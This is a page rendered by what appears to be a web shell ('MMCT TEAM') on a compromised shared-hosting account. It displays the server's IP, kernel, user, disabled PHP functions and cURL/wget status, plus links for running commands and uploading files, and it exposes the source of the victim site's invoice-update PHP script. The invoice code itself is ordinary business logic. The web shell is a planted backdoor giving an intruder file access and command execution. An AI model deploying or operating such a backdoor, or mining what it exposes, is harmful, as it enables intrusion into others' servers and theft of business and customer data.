MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/ajax_invoice_update.php
<?php
include 'db.php';
header('Content-Type: application/json');

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    try {
        $current_time = date('H:i:s');

        $invoice_date = !empty($_POST['invoice_date']) ? 
            (DateTime::createFromFormat('Y-m-d', $_POST['invoice_date'])->format('Y-m-d') . ' ' . $current_time) : 
            date('Y-m-d H:i:s');

        $due_date = !empty($_POST['due_date']) ? 
            (DateTime::createFromFormat('Y-m-d', $_POST['due_date'])->format('Y-m-d') . ' ' . $current_time) : 
            date('Y-m-d H:i:s', strtotime('+30 days'));

        $invoice_number = mysqli_real_escape_string($con, $_POST['invoice_number']);
        $customer = mysqli_real_escape_string($con, $_POST['customer']);
        $cus_gst = mysqli_real_escape_string($con, $_POST['cus_gst']);
        $withgst = mysqli_real_escape_string($con, $_POST['withgst'] ?? '');
        $customer_add = mysqli_real_escape_string($con, $_POST['customer_add'] ?? '');
        $vehical_number = mysqli_real_escape_string($con, $_POST['vehical_number']);
        $customer_vehicle = mysqli_real_escape_string($con, $_POST['customer_vehicle']);

        $customer_name = mysqli_real_escape_string($con, $_POST['customer_name']);
        $customer_email = mysqli_real_escape_string($con, $_POST['customer_email']);
        $customer_phone = mysqli_real_escape_string($con, $_POST['customer_phone']);
        $customer_billing_address = mysqli_real_escape_string($con, $_POST['customer_billing_address']);
        $customer_billing_city = mysqli_real_escape_string($con, $_POST['customer_billing_city']);
        $customer_billing_state = mysqli_real_escape_string($con, $_POST['customer_billing_state']);
        $customer_billing_pincode = mysqli_real_escape_string($con, $_POST['customer_billing_pincode']);
        $customer_gst = mysqli_real_escape_string($con, $_POST['customer_gst']);

        $shipping_name = mysqli_real_escape_string($con, $_POST['shipping_name'] ?: $customer_name);
        $shipping_city = mysqli_real_escape_string($con, $_POST['shipping_city'] ?: $customer_billing_city);
        $shipping_address = mysqli_real_escape_string($con, $_POST['shipping_address'] ?: $customer_billing_address);
        $shipping_state = mysqli_real_escape_string($con, $_POST['shipping_state'] ?: $customer_billing_state);
        $shipping_pincode = mysqli_real_escape_string($con, $_POST['shipping_pincode'] ?: $customer_billing_pincode);

        $check_stmt = $con->prepare("SELECT inid FROM invoices WHERE invoice_number = ?");
        $check_stmt->bind_param("s", $invoice_number);
        $check_stmt->execute();
        $result = $check_stmt->get_result();

        if ($result->num_rows > 0) {
            $row = $result->fetch_assoc();
            $invoice_id = $row['inid'];

            // ✅ Step 1: Fetch existing invoice product data
            $prev_products = [];
            $prev_stmt = $con->prepare("SELECT pid, package, quan FROM invoice_products WHERE invoice_id = ?");
            $prev_stmt->bind_param("i", $invoice_id);
            $prev_stmt->execute();
            $prev_result = $prev_stmt->get_result();
            while ($row = $prev_result->fetch_assoc()) {
                $key = $row['pid'] . '|' . $row['package'];
                $prev_products[$key] = $row['quan'];
            }

            // ✅ Step 2: Delete old invoice products
            $delete_stmt = $con->prepare("DELETE FROM invoice_products WHERE invoice_id = ?");
            $delete_stmt->bind_param("i", $invoice_id);
            $delete_stmt->execute();

            // ✅ Step 3: Update invoice
            $update_invoice = $con->prepare("UPDATE invoices SET 
                invoice_date = ?, due_date = ?, customer_id = ?, customer_add = ?, gst_type = ?, 
                withgst = ?, vehical_number = ?, customer_vehicle = ? WHERE inid = ?");
            $update_invoice->bind_param("ssssssssi", 
                $invoice_date, $due_date, $customer, $customer_add, $cus_gst, 
                $withgst, $vehical_number, $customer_vehicle, $invoice_id);
            $update_invoice->execute();

            // ✅ Step 4: Update customer details
            $update_customer = $con->prepare("UPDATE invoice_customerdetails SET  
                customer_name = ?, customer_email = ?, customer_phone = ?, customer_billing_address = ?, 
                customer_billing_city = ?, customer_billing_state = ?, customer_billing_pincode = ?, customer_gst = ?, 
                shipping_name = ?, shipping_city = ?, shipping_address = ?, shipping_state = ?, shipping_pincode = ? 
                WHERE invoice_cid = ?");
            $update_customer->bind_param("sssssssssssssi",
                $customer_name, $customer_email, $customer_phone, $customer_billing_address,
                $customer_billing_city, $customer_billing_state, $customer_billing_pincode, $customer_gst,
                $shipping_name, $shipping_city, $shipping_address, $shipping_state, $shipping_pincode, $invoice_id);
            $update_customer->execute();

            // ✅ Step 5: Insert new products and update stock
            foreach ($_POST['kt_docs_repeater_basic'] as $product) {
                $vmid = mysqli_real_escape_string($con, $product['pid']);
                $packing = mysqli_real_escape_string($con, $product['packing']);
                $iqty = (int)mysqli_real_escape_string($con, $product['iqty']);
                $newprice = mysqli_real_escape_string($con, $product['newprice']);

                $package_stmt = $con->prepare("SELECT name FROM package WHERE paid = ?");
                $package_stmt->bind_param("s", $packing);
                $package_stmt->execute();
                $package_result = $package_stmt->get_result();

                if ($package_result->num_rows == 0) {
                    throw new Exception("Package ID $packing not found.");
                }
                $packing_name = $package_result->fetch_assoc()['name'];

                // Check stock
                $stock_stmt = $con->prepare("SELECT qty FROM variation_multi WHERE pid = ? AND value1 = ?");
                $stock_stmt->bind_param("ss", $vmid, $packing_name);
                $stock_stmt->execute();
                $stock_result = $stock_stmt->get_result();

                if ($stock_result->num_rows == 0) {
                    throw new Exception("Stock not found for product $vmid and package $packing_name.");
                }
                $available_qty = (int)$stock_result->fetch_assoc()['qty'];

                // ✅ Calculate quantity difference
                $key = $vmid . '|' . $packing;
                $prev_qty = $prev_products[$key] ?? 0;
                $qty_diff = $iqty - $prev_qty;

                if ($qty_diff > 0 && $qty_diff > $available_qty) {
                    throw new Exception("Insufficient stock. Available: $available_qty, Required additional: $qty_diff.");
                }

                // Insert new invoice product
                $insert_product = $con->prepare("INSERT INTO invoice_products (invoice_id, pid, package, quan, price) 
                    VALUES (?, ?, ?, ?, ?)");
                $insert_product->bind_param("issds", $invoice_id, $vmid, $packing, $iqty, $newprice);
                $insert_product->execute();

                // Update stock only if quantity changed
                if ($qty_diff !== 0) {
                    $update_stock = $con->prepare("UPDATE variation_multi SET qty = qty - ? WHERE pid = ? AND value1 = ?");
                    $update_stock->bind_param("iss", $qty_diff, $vmid, $packing_name);
                    $update_stock->execute();

                    $update_main = $con->prepare("UPDATE stock SET quan = quan + ? WHERE pid = ? AND pack = ?");
                    $update_main->bind_param("iss", $qty_diff, $vmid, $packing_name);
                    $update_main->execute();
                }
            }

            echo json_encode([
                "status" => "success",
                "message" => "Invoice updated and stock adjusted successfully.",
                "invoice_number" => $invoice_number
            ]);
        } else {
            echo json_encode(["status" => "error", "message" => "Invoice not found."]);
        }
    } catch (Exception $e) {
        echo json_encode(["status" => "error", "message" => $e->getMessage()]);
    }
} else {
    echo json_encode(["status" => "error", "message" => "Invalid request method."]);
}
?>

MMCT - 2023